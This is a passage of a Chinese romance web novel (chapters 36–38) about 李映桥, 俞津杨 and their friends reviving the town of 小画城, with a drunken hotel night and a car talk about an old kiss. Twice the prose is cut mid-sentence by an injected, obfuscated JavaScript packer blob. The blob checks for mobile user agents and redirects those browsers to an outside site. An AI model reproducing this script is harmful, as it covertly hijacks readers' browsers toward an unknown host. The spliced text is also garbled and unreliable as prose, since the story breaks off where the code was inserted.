其中还有个男的帅得跟电视里走出来似的,就是那个名字很难听,叫浴巾的,吴娟的眼睛就从没他身上移开过,潘晓亮顿时拍案而起—— “都别说了,我露点。总要有人牺牲的。” 俞津杨和高典等人:“…………” 李映桥和吴娟等人:“……………………” 李映桥一把给他摁下,皮笑肉不笑:“潘晓亮,你别找抽。” 高典在俞津杨耳边调侃说:“咱俩是老抽,那哥们是生抽。偶像不愧是偶像,和人熟起来就是快。” 俞津杨倒是没觉得有什么,她向来有这种能力,说:“都是朋友。” 小画城人猿名单经过一番激烈的角逐,最终落定:HR猿俞津杨、长臂猿高典、外卖猿钟肃、财务猿吴娟、程序猿潘晓亮以及编外人猿赵屏南。连蒲辉的儿子在诊所拔牙的空隙都要出来客串一下,还有几个精神头挺好的老奶也都来景区办公室争相报名,她们说小画城真的好久没有这么热闹了。 确实。小画城的青石板路长又长,一块块泛着青苔味的石板都在岁月中备显漫长,从斑驳的墙根一直延伸至无人问津的码头,河水的午后的日光下静静流淌着,像一匹从未被时间磨出毛边的绸缎,也仍旧平整地铺展在那,粼粼地倒映着无数个晨昏,无问西东,静等着游学的故人归来。 行李箱的滚轮在一片“嗷呜”声中碾过一块块青石板缝隙里高高低低地颠簸抖动着前行,无人察觉。 但来人完全目瞪口呆,被眼前这场景惊得嘴巴张出了个鸵鸟蛋,她一步都不敢靠近,站得老远只一个劲儿地揉眼睛。 只见小画城的老树根下上蹿下跳围着一群猿人,穿着整齐划一的兽皮着装和草编头箍,哥几个穿得还是很保守的,只是精神状态—— 高典从小手长脚长,这次完全发挥了他自身的优势像只长臂猿一样,挂在树上驾轻就熟地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵屏南也跟着伸出手:“赵屏南,就南屏晚钟的屏南。我和映桥在北京一家倒霉公司一起工作过。” “行,那先干一个。”郑妙嘉举杯说,“敬这个操蛋的世界。” 高典快速凑到俞津杨耳边,一嘴的孜然味:“这个看来是真在外面遇上事儿了。” 俞津杨靠在椅子上,没说话。 紧跟着,李映桥拿起面前的罐装啤酒狠狠地和郑妙嘉撞了个叮当响,笑着说:“敬这个美好的世界!” 高典啃得油光发亮的嘴又凑过去在某人耳边说:“咱偶像是真有病。” 俞津杨瞥他一眼,随手抽了张摊上的纸递过去让他擦擦嘴,高典受宠若惊地接过纸,说了声谢谢。 下一秒,他说:“你才有病。” 高典:“……” 酒过半巡后,李映桥那边还和郑妙嘉聊着呢,突然转过身举杯猝不及防地给他说,“喵,咱俩干一个。” 这都在外面学了啥啊,朋友聚会她都开始打圈了。俞津杨拿起啤酒罐和她碰了碰,“你少喝点。” “放心,醉不了。” “现在很能喝?”他问。 “喵,你也太不了解我了吧,我以前就能喝啊。”李映桥笑着又碰了下他的啤酒罐。 俞津杨拎着酒,目光直直地盯住她,但没喝也没动,就那么拎着说:“咱俩高三喝过,你忘了?” 李映桥第一次感觉自己的视线被人攥住,仿佛只要她撇开也会被他掐着脸给扭回来的直白眼神,但她还是一愣:“啊?有吗?什么时候。” “好好好,你又忘了。”他仰头灌完最后一口,直接把易拉罐捏了个瘪,别开脸,“喵什么喵,以后别喵了。” 话音刚落,借酒装疯的郑妙嘉一把搂住李映桥的脖子,把还在跟俞津杨干杯的李映桥给一把拽回去。在众目睽睽之下,双手捧住李映桥的脸,狠狠且响亮地在她脸颊上亲了一口:“我们桥桥真是越来越漂亮了,以后不知道要便宜哪个小子了,不管,我先亲一口!” 37. 第三十六章 “啵!” “啪唧!啵儿!” 几人吃完,一路稀稀拉拉地从烧烤摊走回酒店,郑妙嘉仍醉醺醺地捧着李映桥的脸猛猛亲。 李映桥这几天陪赵屏南住在酒店顶层的套房里,眼看这个也醉得差不多,索性在隔壁给她开了间房,等明早酒醒再给老郑送回去。 高典和钟肃在酒店的旋转门处抽烟,俞津杨从前台开完房回来,见她俩还黏在一起,于是将两张房卡塞进李映桥和郑妙嘉脸夹着脸的缝隙里,站在原地看着李映桥说:“我叫了客房服务,等会儿给郑妙嘉送杯蜂蜜水过去,我单独给你开了一间房。” 李映桥想说不用,赵屏南的套房其实就够她们三个人睡的。但刚都把人惹恼了,也不好再驳他好意。 “还得是‘少爷’——”她笑得从容地把房卡拿下来,扶着郑妙嘉说。 “行了,别嘲讽我了。” 对俞津杨来说,少爷早已经成了骂人的话。 “真没有。”李映桥发誓状。 郑妙嘉大概是真醉了,浑浑噩噩不知道他们在干嘛,但也二话不说跟着举起三根手指,学着李映桥依样画葫芦,狠声道:“是的,有就天打雷劈,基金变小鸡,房子变毛坯!” “……” 李映桥捂住她的嘴说:“不过等屏南再玩几天,她也该回了,我也该搬回小画城了。李连丰给批了员工宿舍,我上班方便点。不过这酒店是俞叔叔在管吗?” “张叔在管,也有职业经理人,我爸也只是入了股,”俞津杨双手抄兜里说,“张叔你见过的,之前我爸的秘书。” 李映桥若有所思地点点头,“行,回头我如果能让旅行社那边单独给咱们开个团的话,你帮我牵个线?” 郑妙嘉在她掌心里喃喃道:“……尿尿。” 嘴被李映桥捂着,俞津杨没听清,微微弯了下腰,倾身问:“她说什么?” “哟哟,切克闹。”李映桥说,“——rap,城里刚回来都这样。” “走了。”他最后瞥了眼郑妙嘉,转身离开时语焉不详地丢下一句,“早点休息,别玩太疯。” 顶层套房对于县城的五星级酒店配置来说,必须要有,但不一定有人住。走廊僻静空荡,几人的脚步声也都带着回响。李映桥和赵屏南驾着郑妙嘉给合力扛进房间里,扔上床后,她自己倒是条件反射“噔噔”两下踢掉高跟鞋,一个鲤鱼打挺从床上爬起来踉跄着去厕所放水去了。 等她再出来,赵屏南已经回房去了,只剩下李映桥气定神闲地倚靠在干湿分离的洗手池上和她四目相对。 郑妙嘉嘻嘻笑着要躲开她的眼神攻击,连手都不洗了。李映桥却依旧抱着胳膊,目光沉沉又森森然地盯着她:“郑妙嘉,你故意的。” “哪有,”郑妙嘉只好老实地乖乖去洗手,洗完还凑到李映桥跟前让她闻闻,“这么重的酒味,臭死了。” 李映桥侧身躲开,反手去抽了张纸巾,慢慢悠悠地擦着脸上的口红印说:“早知道不告诉你了,你这样我怀疑他都知道你是故意的。” 郑妙嘉那会儿确实是装的。但这会儿不是,是真有些醉,整个脑袋昏沉沉的,镜子里的人都是重影,她揉着太阳穴说:“喵哪有这么聪明。” 李映桥瞥她一眼:“他很聪明,只是有时候懒得计较。” “是吗?”郑妙嘉两手撑在洗手台上看她擦脸,歪着脑袋想了想,故意说,“反正我只知道他在学习上是挺聪明的,其他事上,我不知道,也不了解。所以,那天晚上你跟我说你俩接吻了,吓我一大跳,对不起嘛,我刚刚是故意的,就是想看看他的反应。毕竟喵在我们几个眼里一直都是个保守派。” 李映桥:“他刚什么反应?” 郑妙嘉:“转开头了,没看到,但是耳朵有点红,不知道是喝酒喝的,还是想到你俩的事了。” 李映桥忍不住骂了句脏话,把纸巾扔进篓子里:“他可能本来都快忘了,被你这么一搞,他又想起来怎么办,我就怕他想起来。这段时间我和他见面都小心翼翼主动地找话题,生怕安静下来就踩‘雷区’。” “那你放一百二十颗心,”郑妙嘉脑子意外清醒地笃定说,“他绝对记得。这种事换做谁能忘记?你自己都还记得,你还指望一个被强吻的人忘记。你想什么呢?桥,我劝你别抱这种侥幸心理。” 是啊,怎么可能会忘记,李映桥其实心里也很清楚,但她一直心存侥幸。 那天下山之后,一晚上都没睡着,辗转难眠的她就给郑妙嘉发了信息。 两人打了一整个通宵的电话,两人说了很多很多废话,没有一句话是跟俞津杨无关的。直到天边泛起一层浅浅的鱼肚白,郑妙嘉其实几度昏睡过去,迷迷糊糊听见李映桥说话,还是强打起精神和她讲说桥桥我听着呢。 那时候,李映桥确定自己是喜欢俞津杨的。滑雪场出来之后,他们在百无聊赖地等着高典妙嘉回来。然而,在那盏青柑桔色的灯影下,在摇曳的树影婆娑下,世界是混沌的。 她顿时生出一个念头——她想,如果世界给她一个镜头就好了,她要做一件大胆的事,一定会有很多人为她那一刻的勇气鼓掌。 尽管她是小画城的保护神李映桥,可踏出那一步她也很需要勇气的,没有谁生来就会告白的。可惜他们都不是世界的主角,她只能在昏昧的树影里借着妖风肆虐掩藏她扑通扑通的心跳,然后鼓足勇气颤抖着用自己的唇覆盖住他的,彻底让那个少年错愕地怔愣在原地。 那个晚上,她辗转反侧。手机除了和郑妙嘉那通电池板都发烫的电话外,再无任何动静。俞津杨连质问的信息都没有发给她,云淡风轻地样子,仿佛只是被狗咬了一口般当作无事发生。 这些郑妙嘉都知道,直到她去上了大学都还问过李映桥他俩的近况,但除了那个通宵达旦打电话的夜晚之后,李映桥后来再提到俞津杨变得兴致缺缺。 她问过原因,但李映桥都没告诉她,妙嘉也不是那种会刨根问底的人,更不愿戳李映桥的肺管子。她不愿讲,郑妙嘉后来上大学和俞津杨也索性断了联系,只有回丰潭过寒暑假的时候,碰见过几次。 令她愤愤不平的是——个姥爷的,俞津杨越长越高,越长越成了李映桥的菜。 只是后来大家都忙于工作,她和李映桥联系也逐渐变少,这些年少的暧昧情绪早就成了埋藏在横隔山脉的矿藏,被年复一年的新雪盖旧雪,风光厚葬着。 再说外面的世界精彩缤纷,成人游戏里最不缺的就是陌生人的体温。同样是两条腿的,共享单车都比男人抢手些,这年头真没人会去街上抢两条腿的男人。 “现在呢?”郑妙嘉蹲在马桶边上吐,抬头问她,“这次回来怎么样,还喜欢他吗?” 李映桥给她拍背,又给她抽了张纸巾等她吐完,反问道:“你还喜欢你高中喜欢的那个篮球队长吗?” “呕——”郑妙嘉吐得更厉害了,终于忍住胃里翻江倒海的感觉,回头对她翻白眼,“真是谢谢你啊。” “那不就行了,”李映桥笑了声,把纸巾递过去,坦然承认说,“但我还好,对喵不反感。至少他没长残,我甚至觉得他现在比从前更帅了。” 那天在理发店两人甫一照面,虽然他剪坏头,她也一眼认出他,其实比从前帅很多。俞津杨现在完全长开了,是很典型的熟男,也是标准的剑眉星目,眼窝深邃,瞳色其实比从前淡,不看他眼睛的时候,会觉得有种不近人情的冷峻感,但只要和他对视上,又有年少时的温柔和内敛。即使顶那么个参差的发型在人群中他也鹤立鸡群。 她当时其实有点见色起意,想问问他的上海户口有没有用,没用的话让她蹭一蹭,反正都这么尴尬了,不如直接破罐破摔。但后来被李伯清的饭局气得李映桥差点灵魂出窍,她冷静了几日,越想越觉得像喵这样的人,做朋友是极好的。 “其实刚开始还挺尴尬的,”李映桥现在倒是能坦白讲了,“为了消除芥蒂,我一直模仿以前的自己和他讲话,结果被他一眼拆穿,他说话阴阳怪气的。我又怕他提从前的事,说实话,太多年了,就算当时再喜欢,现在也淡了。也很难找回当年和你彻夜聊天那种心情了,我现在回想起来都觉得离谱,当时咱俩聊什么了啊,聊一个男人能聊一晚上。” “我记得,”郑妙嘉从地上站起来,接过纸巾看她一眼,正儿八经复述道:“你说啊,俞津杨嘴巴软软的,他的嘴巴怎么可以那么软呢,不会连下面也是软软的吧——” “郑妙嘉!!!再见!!!” 李映桥二话不说拿起东西“砰”摔上门走了。 郑妙嘉笑得直接栽倒在床上,笑着笑着就不笑了,直楞楞地盯着天花板。 下一秒,门又被人猝不及防地腿开,李映桥脑袋钻进来,欲言又止地定定看着她。 郑妙嘉狐疑地看着她:“怎么了?” “你——”李映桥脑袋卡在门缝里,“在外面没遇上什么事儿吧?” 郑妙嘉支棱着手肘,手掌托着后脑勺,侧过身来看着她,摆出个慵懒又高调的贵妃躺姿势,从头到脚一览无余地展示给她看:“我一个有钱的大美女,能有什么事。” 李映桥又关上门。 三秒后,又开进来,那颗脑袋不偏不倚地卡在门缝里,“真没事?” 郑妙嘉也不耐烦了,砸了个枕头过去:“真没有啊。李映桥,你再开门,我就告诉俞津杨,你说他嘴软鸡也软!” 李映桥简直要给她跪下:“……郑妙嘉,这里是丰潭!你给我收着点!说话别这么肆无忌惮行么,这还是四一哥开的酒店,小心隔墙有耳!你闭嘴吧,求求你了。” 郑妙嘉嘿嘿一笑,坐起来:“看来你精神状态还是没我好。” “你在外面混成野人了你!原来你才是那个现成的,别说了,明天来景区上班。”李映桥摔上门说。 “你俩就是太含蓄,这都什么年代了啊。”郑妙嘉啧啧叹气,也没管她人还在不在,自言自语说,“我画过多少男人的裸体啊,这算什么啊,一个器官而已。” 38.第三十七章(二更合一) 李映桥小时候别提多讨厌俞津杨,在她这个坦克眼里,他就是个小朋友队伍里的叛徒,人民的公敌。因为他总是循规蹈矩得像个异类,把老师、长辈的话奉为圭臬,连老师放个屁都恨不得把配料得给研究明白。 关键他一直比她矮,身形像个细瘦单薄的瘦猴儿。这样的人,她怎么可能喜欢?她甚至想过以后要多结交一些离经叛道的朋友们来治治这个人民的公敌。 毕竟照着这个少爷严丝合缝的人生规划,他的未来简直清晰地令人乏味,要么吃上国家饭,要么西装革履地和人上谈判桌。 甚至到高中,李映桥和郑妙嘉都一度坚定地认为宁可找黄毛当男朋友,也不要找人民的公敌。 然而,高中的俞津杨很低调,一心扑在学习上,不再对老师和父母言听计从,高三的他甚至还进入了叛逆期,一言不合就怼天怼地,俞人杰和唐湘都拿他没办法。 李映桥甚至还听见过好几次他和俞人杰吵架时的样子,她从没见过那么凶的俞津杨和被气得频频跳脚的俞人杰,父子俩之间的气氛剑拔弩张到让外人都感觉到窒息。那时候高三开家长会都是唐湘去的,俞人杰从不出面。 其实学校里很少有人知道,俞津杨是“丰潭木头大王”的儿子。他也从没在公开场合跳过Popping,练舞都是自己一个人在舞蹈室练——加上潭中的学习氛围确实紧张,连李映桥这样散漫的性格在潭中都不自觉绷紧神经。 潭中历来没有什么风云人物一说,唯有溽暑铄金的六月高考才能显出真章。 如今再看他,很难会有人相信俞津杨高中时无人问津。过了那个风声鹤唳的叛逆期,对比从前,他倒是显出几分内敛的张扬,不是言谈举止间的表现,而是他现在显然知道怎么拾掇自己,甚至能让人想象到他宽松T恤下撑起的宽肩窄腰,已经成了行走的衣架子。 他的举止其实比少年时收放更自如,却也因为这进退有度的分寸感,更衬出骨子里的锋利和克制。 后来喜欢上他,李映桥其实不算太意外。那时候几乎每周都在梁梅家补课,两人在各种摩擦中感情不说越来越深厚,总归越来越了解彼此,了解到李映桥一伸手,俞津杨就知道她是要书要笔还是要橡皮,或者是要按摩。 李映桥对他的占有欲也在那个时候爆发的。有一个周末,原先她仙城二中的大姐头来潭中找她玩——就是那个频繁换男友,和人打赌下注追人让她小赚两千的大姐头。 两人去潭中球场看男生们打球,显然这姐是闲来无事来潭中挑选猎物的。但她眼光也离谱,在球场一眼就挑中那时候身高不算高、身材也不算好的俞津杨,甚至夸下海口说两周内必定拿下这个豆芽菜。 她兴致勃勃地问李映桥这次赌注打算下多少。 李映桥破天荒地迟疑了——大姐头长相明艳动人,皮相美,骨相也毫不逊色,更是个侍美行凶的典范。不光会捯饬自己,对男高中生的心理更是手拿把掐,在仙二她从没失败过,她出手,俞津杨肯定招架不住的。然而,在唾手可得的赌金面前,李映桥嘴比脑子快一步,想也不想地脱口道:“不行,你不许追他。” 大姐头要听不出来为什么也白混了,她觉得可惜,啧啧摇头。但她可惜的不是俞津杨,而是李映桥这个情窦初开的,就开了这么个豆芽菜。她自己是单纯想换换口味,大鱼大肉吃多了,偶尔也要来个嫩黄瓜涮涮肠胃,她留下意味深长的一句走了:“……桥桥,你还是见太少了。” 李映桥那会儿也很快反应过来自己这微妙的情绪是从何而来。她站在球场外,目光追随着那个在篮筐下飞奔的瘦削身影,肩胛骨单薄得都怀疑能不能抱得起她。她不由地一遍遍问自己:到底哪里吸引她? 那时她就想不通,现在她也想不通。如今的俞津杨可以说没什么可挑剔的,从小到大没输过的一张脸,如今在他宽肩阔背的衬托下更显深邃和英挺。完全和潘晓亮是截然迥异的两块砖,他砌在哪都衬得墙面更平庸。她却兴致缺缺,感觉反而淡了,还不如从前那个恪守成规的豆芽菜吸引她。 于是她又反复思索起一个问题:到底是哪里不吸引她了? 得出的结论很简单:她是个俗人,得到过就祛魅了。而且,他接吻真的很烂,舌头都不知道伸。李映桥觉得那时候他都高中了,没吃过猪肉还没见过猪跑吗?妙嘉说得没错,喵这人,就是循规蹈矩又保守乏味。 *** 把几个女生送回酒店后,高典又拉着俞津杨钟肃几个续了第二摊,就在俞津杨小区门口的馄饨店,老板和他们也很熟,俞津杨和高典有时候打完球会在这吃碗馄饨面再回家。今天又多了个新朋友,老板热情地给他们送了几根鸭掌,感谢上次俞津杨给他恢复微信的数据,不然差点就被克隆微信给电信诈骗了。 高典接过老板的鸭掌说了声谢谢,转头又对他俩分析起来:“我觉得她俩在外面多少都有点事。嘉嘉很明显,偶像么,稍微藏得好点,但我也感觉到了。” 俞津杨没表态,低头就着碗口有一口没一口地扒拉着馄饨吃。钟肃把网上扒拉的几张游乐园的设计图发到俞津杨手机上,拿起筷子说:“她们不愿讲就别问了,但凡能讲的早就跟你们讲了,不愿意跟你们讲么,多半也就那些事。” 高典不明所以地“啊”了声:“啥事儿?” 钟肃头也不抬地大快朵颐着说:“要么工作的事,要么就是男男女女那些事,太阳底下还能有新鲜事儿?” “你俩别在这瞎猜了,”俞津杨拿起手机扫桌上的二维码准备结账,“两个都还是未婚女青年,说这些被她俩听见,也不怕你偶像揍你。” 高典嘿了声,“那倒不至于,桥桥现在温柔多了。” “那倒是。”这点俞津杨也认同。 钟肃这才从馄饨里抬头,有一眼没一眼地瞥着他兄弟说:“那嘉嘉以前怎么样啊。” 高典猛地转过头,眼神刀子一般剜过去:“嘉什么嘉,嘉嘉是你叫的?” 钟肃不以为然地撇撇嘴:“我现在也是小画城猿人团队的一份子,怎么了?桥桥都没意见,你急什么?你喜欢嘉嘉?” 高典呸了声,“你脑子里就那点男男女女的事儿是吧,龌龊。不信你问喵啊,我和喵从来都是拿她俩当妹妹照顾的。但我和喵的命都是桥桥救回来的。所以桥桥是我俩的主人,我们打算给她当一辈子的狗,我是右护法,他是左护法。” 右手位大于左手位,在中国餐饮礼仪的白皮书里,大多数的跨国商务场合都是默认的,也有少部分沿用的左尊传统。只是俞人杰早年生意出口海外,接触过不少国际友人,变成了右尊标准,导致他们几个小孩也在他的耳濡目染下,一律认为右手位大于左手位。 钟肃看了眼俞津杨,指了指自己的太阳穴:“你这兄弟,这里是不是……有点问题。” “别理他。”俞津杨也别开脸,不忍直视高典那忠诚的嘴脸,生怕看出一点自己曾经的影子。 “……” “但我是右护法。”俞津杨走出馄饨店时提醒高典说。 高典:“……” 钟肃:“…………” *** 三日后,猿人大会第一期视频在小画城全平台官号同步上线了,但后面几期的拍摄还在如火如荼的进行中,只是李映桥很少再出现在拍摄现场,小画城后续的工作太多,景区算上她和赵屏南这个编外人猿,也就四个人,工作都安排得捉襟见肘,哪有功夫天天去拍摄现场盯进度,脚本工作已经全权交给郑妙嘉负责。 李映桥自己则正在对接旅行社的带团工作,但小画城着实有点偏远,和南来市的几个热门景点哪哪都挨不着边儿,就算旅行社愿意,其他景区也都不愿意拖这么个后腿,各方面耗材成本增加不说,游客体验绝对大幅度下降。 丰潭当地最大的一家旅行社的产品经理把话说得很不客气:“你还是个小年轻。小画城现在就是个阑尾,只要它不发病,没有人会特意为一个没什么作用的器官跑一趟医院做检查的是不是?其他景区不肯套票是情有可原的,人家也要考虑年度kpi,加上你们这条线,成本是不是要高?团费一涨,游客肯定会考虑选择其他同价位性价比更高的团。而且现在大环境也差,其实你们可以试试那种0kb的团,说不定有人会来。我们这种大的旅行社是没办法给你们开这种路线,你们可以考虑一下其他小的旅行社。” “当然。”李映桥知道对方说得很中肯,只是话难听,但谁让她现在有求于人,她快速看了眼对方大大方方摆在办公桌上的合照,还是把名片放桌上给她推过去笑着说,“我懂您的意思,也非常理解。没关系,至少今天也不白来一趟,谢谢刘经理。回头我让景区给您录一年的免费票,您周末可以带孩子来景区玩,正好最近我们打算办一个木玩展。” 李映桥从头到尾她腰背都很直,哪怕对方从一开始就展现出高高在上的态度,她始终不卑不亢地看着对方,偶尔点头表示谅解,偶尔也笑着回一两句。最后那句话一说完,对方有片刻觉得自己好像过于盛气凌人了,只是,那又如何,拜高踩低,人之常情。 “啧啧,啧啧。”李映桥在巷子里逗了会儿野猫,是一只三花,从她下车开始跟了一路,她进去找刘经理本来以为这猫已经跑没影了,没想到她一出来还在门口蹲着,她惊喜地“呀”了一声,忍不住蹲下去,即使坦克如她,也开始夹起嗓子说:“你怎么还在呀,是不是在等我呀。” 刚要伸手把猫抱过来,不远处响起不轻不重地两声鸣笛,李映桥下意识抬头,只见那辆张扬不驯又透着冷峻的黑色牧马人正静静停在工业园区的门口,车门敞开着,某人从驾驶座上下来,冲她轻轻地摁了两下喇叭。 李映桥仍是蹲在那和三花对峙,仰头笑着冲他一招手:“喵!你怎么也在这里。” 俞津杨从后备箱拿了一小袋猫粮过来,三两步走到她旁边,也拎着裤腿蹲在她旁边,边拆开边转头和她说:“打你电话怎么都不接?” 李映桥这才去包里摸手机,看了眼,果然有好几个未接的语音:“静音了。怎么了,你找我有事。” 俞津 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758516|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨把猫粮倒地上,然后站起来,拍了拍手上的猫粮粉末,拖腔带调慢悠悠道:“你不是要见张叔吗?他明天要去广东参加管理培训一个月,我怕你哪天想起来又火急火燎地要见他。到时候别怪我没把你的事儿放心上啊,所以我帮你约了今天晚餐和张叔吃个饭,你有没有时间?没有只能一个月后了。 有是绝对有的,“那这猫——” 俞津杨高中养过不少流浪猫狗,俞人杰还在丰潭建过一个流浪猫狗的收养站,至今也都还开着,自从他爸出事后,他们就没再收养过任何小动物,加上现在甜筒年纪太小,家里也不太适合收养猫狗之类的,他们现在都还是往站里送,会有专人负责送养。 李映桥倒没想到那个流浪猫狗的收养站居然还开着,她知道俞津杨没事就喜欢喂些猫猫狗狗的,四一哥就特意斥巨资给他开了个流浪动物的收养站,名字就叫喵喵小站。 高中那几年他们可去的地方不算多,一个梁梅家,一个就是喵喵小站。把三花猫交给工作人员后,俞津杨又和管理员叮嘱了两句,然后才和李映桥一前一后上车,李映桥忍不住看着窗外感慨:“没想到四一哥还一直开着这个流浪站,你们中间最困难那几年也没想过要关掉吗?” “没有吧。那几年我在国外,都是四一哥在管。”他开着车一路往山下拐。 但其实他回国后,这个站子就一直都是他在出钱,他爸公司的事儿都已经难以为继了。 听他叫四一哥,李映桥没忍住笑出声,“你怎么这样叫你爸。” “你管我。”他说。 李映桥笑了声,“不识好赖。” 俞津杨开着车瞥她一眼,低声问:“我怎么不识好赖。” 李映桥仰头看着窗外的天色,眼见是要下雨的天色,闷闷地一片青灰压着天色,可意外地是,她竟然一扫刚才从旅行社出来的坏天气,两根手指不由自主地在车窗沿上又开始模仿起小人走路,心情莫名地轻松起来:“是啊是啊,你最识好赖了,喵喵大人。” 真奇怪,这么多年没见,他还是能一眼洞悉她的心情,甚至不需要对话,不需要任何多余的眼神交流。比如今天她这个手指在模仿小人走路时是轻快自由的,和那天在丰潭山上强吻他时那个手指小人是两种截然不同的频率和节奏,那天是焦虑地无意识动作。 俞津杨语气也跟着松快起来:“哪有你桥桥大王识好赖啊。谁给你馒头,谁给你拳头,你是记得一清二楚。今天谈得怎么样?” 李映桥:“不好,她骂人。” “啊?”俞津杨看着她一时语塞。 他其实随口一问,也做好了她不会如实回答的准备,也以为她仍旧会对他粉饰太平,没想到她会这样直接说出今天的遭遇,一时竟也没有反应过来,在李映桥机关枪样的语速下,霹雳吧啦甚至连一个停顿的间隙都没给他,竹筒倒豆似的倾泻而下。 这种感觉就好像,李映桥是一听可乐,他曾经拿起来反复摇晃着她,也没晃出个所以然来,想知道里面发生了什么,李映桥的嘴都闭得比拉环要紧。然而,他也忘了里面攒了多少压力气泡,猝不及防一拉开,可乐水井喷式地全射了出来,他被喷了个措手不及。 “是不是很过分,居然骂我们小画城的是丰潭的阑尾。她才是阑尾,她全家都是阑尾。等着,我要把小画城做成丰潭的心脏!砰砰砰砰——大家一起爆炸好吧!她根本不知道小画城有多好,小画城的猿人们有多多好!” 俞津杨噗嗤笑出声:“所以你帮猿人们骂回去了?” “没有,我还腆着脸说,”李映桥垮着脸,又用手给自己挤出一张皮笑肉不笑地脸说,“谢谢刘经理,刘经理下次带着孩子来玩呀,因为我看到她桌上的合照了。我说我给你送景区的年票啊,哈哈,厉害吧。我这人厉害就厉害在,别人给我一巴掌我还能吻上去。” 说完,李映桥恨不得掌自己的嘴,偷偷瞥他一眼,发现他表情倒没什么异样,专注地目视前方,把车拐入主车道后,汇入车流中,慢慢地踩下刹车停在那棵熟悉老樟树下的红绿灯路口,不咸不淡开口说:“是吗?李映桥,我可没给过你巴掌。” 李映桥倏地转头看他,她觉得她可能要重新认识他了—— 俞津杨将车子稳稳刹住,单手扶在方向盘上,另只手搁在车门上,斜睨着副驾上表情有些怪异的李映桥,她惊愕住了,大约是料定了他这样内敛的性格不会旧事重提,即使他们有过一个那样的吻,他当时没问,以后就绝对不会再问。至少不会当面再拆穿,俞津杨脚还踩着刹车,见她手开始抠车门了,也没忍住“吭哧”再次闷笑出声,不自觉刹车又深踩了一脚,引擎也罢工了。 他抬头看了眼红灯读秒,还有二十秒,他索性松开手,环抱在胸前,想压住胸腔的震颤,可越憋着越想笑,最后笑得肆无忌惮,整个人仰在驾驶座舱里,肩膀都在颤。 “你把我车弄熄火了都。”俞津杨还这么讲。 如此轻描淡写的模样,还恶人先告状,她真的好好重新认识一下他了,喵好像在外面学坏了。 39.第三十八章 “怪我哦?”李映桥说,“熄什么火,这不就是自动启停吗?当我没开过车。俞津杨,你在外面学坏了。” 俞津杨靠在那,手搭上方向,重新启动车子,点着头再次笑笑说:“怪我怪我。” 说完,两人对视一眼,蓦然又同时跟着笑。等红灯跳绿灯,俞津杨收了笑,把车驶上路,又目视着前方追问了句:“所以……为什么?” “什么为什么。”李映桥却看着他问。 他撇过头,不知道是看后视镜还是看她,语焉不详重复道:“你说什么为什么?” 李映桥忽而笑了声,“喵,你不会……” “什么?”他下意识和她对视,转而立马会意,随即转回去,听不出任何情绪:“……没有。” 他在芝加哥其实曾经和钟肃讨论过,但他并没有提肇事者的名字。钟肃分析说女生有这种行为可能是回避型依恋人格。一旦得到回应就撤退。亲完就跑,这种行为倒是很符合这种人的心理状态。 果然,他刚说完,她眼里还无端端冒出一丝兴味来。李映桥甚至还把脑袋倒搁在车窗上看着他,自下而上、兴致勃勃地好奇道:“那你现在还有什么好问的。” “好奇。我要个说法不行吗?”他执着道。 “那当时怎么没跟我要呢?”她漫不经心说。 “不是你把我拉黑了?” 李映桥转过头:“我是问你那天晚上为什么没给我发任何信息。” 俞津杨没再讲,沉默着把车开到他爸的酒店门口停稳,推门下车从后备箱里拿了瓶红酒,随手塞到跟过来的李映桥怀里:“等会儿你拿给张叔,不过他这两年血脂高,你等会儿少撺掇两口。” 李映桥拎起长长的酒瓶颈看了眼,是Pinot Noir,产自Les Suchots,嚯,顶尖一级园。 “那不得给他开一条蓝鳍大腹?”她笑着说,“算我欠你的,等会儿把钱转你。” 丰潭长辈很少有人喜欢吃刺身,张冲例外。比如李姝莉梁梅等人,看见刺身要跳脚,恨不得全给一锅炖了。但唐湘也爱吃,俞人杰在他们高中的时候经常会让人空运一些海胆三文鱼刺身,李映桥吃过一次也欲罢不能,哦,还有朱小亮。他是生吃的鼻祖。 “不用了。”俞津杨关上后备箱门,“问过西厨了,说最近海鲜过不来。” 说完,他后背慢慢靠上后备箱门边,低头表情倒是温和地看着她,瞧了会儿后,几不可闻地叹息一声,双手揣进兜里,还是回答了她在车上的问题:“你还记不记得,我们查完分去乡下找方玥那一次,高典回来和我说过,他说你嫌我矮,根本看不上我。转头你又……这样,我只是想给你两天时间冷静下再说。” 她确实冷静下来就把他拉黑了,他两天后给她发信息:「聊聊?」 对面直接弹出一个感叹号,俞津杨当时是有点怀疑人生的,当下第一反应竟是呼了口气闻了闻掌心,他没口臭吧。为什么亲完把他拉黑了? “所以我当时……有让你不舒服吗?” 他人靠那,公式化的口气,仿佛在问售后服务,尽管早就过了保修期。 其实那一刻他整个人都是懵的,她唇贴上来时,脑子里“轰”一声,有一片不知名的火苗“噌”一下窜起来。大脑滋滋啦啦地像炭火一样在烧,根本无法思考。很多动作也是下意识,比如李映桥踮起脚尖捧住他的脸,他下意识就揽过她的腰把人往上提帮她卸力,于是两具年轻火热的身体自然而然地就严丝合缝地贴在一起。 俞津杨那个晚上也在翻来覆去地想,自己到底有没有冒犯到她。虽然人家只是亲你一下,但是你立马就跟人家敬礼也是很不礼貌的。更何况是李映桥这么要强的人,把他拉黑也情有可原。前几年他对感情还懵懵懂懂的时候,是这么想的,所以也不敢再主动找她,生怕让对方觉得是屈从于生理欲望的冒犯,怕李映桥更看不上他。 反倒是现在彻底开了窍,他才明白自己当时的想法有多可笑。所以他现在反而能更坦然地问出这一句,我当时有没有让你不舒服,如果有,我道歉,如果没有,那为什么要拉黑我。他想为这段扼死在摇篮的懵懂情感做出有效申辩。 